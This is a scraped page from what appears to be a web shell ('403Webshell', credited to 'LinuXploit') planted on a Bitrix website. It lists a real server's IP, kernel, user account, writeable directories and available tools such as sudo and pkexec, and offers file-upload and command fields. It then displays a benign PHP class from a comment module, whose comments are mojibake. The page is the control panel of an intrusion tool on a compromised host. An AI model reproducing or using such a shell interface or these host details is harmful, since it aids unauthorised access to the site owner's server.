403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/burlakastudio.realcommenter/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/burlakastudio.realcommenter/lib/TalkGroups.php
<?php
/**
 * ����� "��������� ����������� D7" ��� �������
 * �������� ���� �����: www.realcommenter.com
 * �������� ���� �����������: burlaka.studio
 * ����� � ����������: ������� ������� (AlexeyGfi) -> alexeygfi@gmail.com
 */

namespace Burlakastudio\Realcommenter;

use Bitrix\Main\ORM\Fields\Relations\Reference;
use Bitrix\Main\ORM\Query\Join;

class TalkGroups extends OrmHelper
{

    protected static $hlApiCode = 'RealcommenterTalkGroup';

    public static function valid($talkId = 0)
    {
        $talkInfo = self::getInfo($talkId);
        return $talkInfo['ID'] ?? null;
    }

    public static function is_active($talkId = 0)
    {
        $talkInfo = self::getInfo($talkId);
        return (bool)$talkInfo['UF_ACTIVE'];
    }

    public static function is_paused($talkId = 0)
    {
        $talkInfo = self::getInfo($talkId);
        return (bool)$talkInfo['UF_PAUSE'];
    }

    public static function getChainedGUCEntity ()
    {
        $groupEntity = self::compileEntity();
        $urlEntity = OrmHelper::compileEntity('RealcommenterUrl');
        $commentsEntity = OrmHelper::compileEntity('RealcommenterComment');
        $valuesEntity = self::compileEntity();

        if (!$groupEntity || !$urlEntity || !$commentsEntity || !$valuesEntity) {
            return false;
        }

        $urlEntity->addField(
            (new Reference('COMMENT',
                $commentsEntity,
                Join::on('this.ID', 'ref.UF_URL_ID')
            ))->configureJoinType(Join::TYPE_RIGHT)
        );

        $groupEntity->addField(
            (new Reference('URL',
                $urlEntity,
                Join::on('this.ID', 'ref.UF_GROUP_ID')
            ))->configureJoinType(Join::TYPE_RIGHT)
        );

        return $groupEntity;
    }

}

class_alias(
    '\Burlakastudio\Realcommenter\TalkGroups',
    '\Burlakastudio\Realcommenter\TALK_GROUPS'
);

Youez - 2016 - github.com/yon3zu
LinuXploit